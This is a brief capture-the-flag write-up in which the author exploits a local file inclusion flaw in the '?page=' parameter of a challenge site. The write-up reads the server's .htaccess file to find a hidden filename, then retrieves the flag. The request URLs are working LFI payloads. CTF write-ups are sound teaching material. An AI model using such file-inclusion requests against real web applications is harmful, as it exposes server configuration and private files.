we have this target :
http://bonappetit.stillhackinganyway.nl/
after some browsing we see this parametre is effected by LFI 
http://bonappetit.stillhackinganyway.nl/?page=
from source code : 
http://bonappetit.stillhackinganyway.nl/?page=.htaccess
<FilesMatch "suP3r_S3kr1t_Fl4G">
http://bonappetit.stillhackinganyway.nl/?page=suP3r_S3kr1t_Fl4G
the flag : flag{82d8173445ea865974fc0569c5c7cf7f}
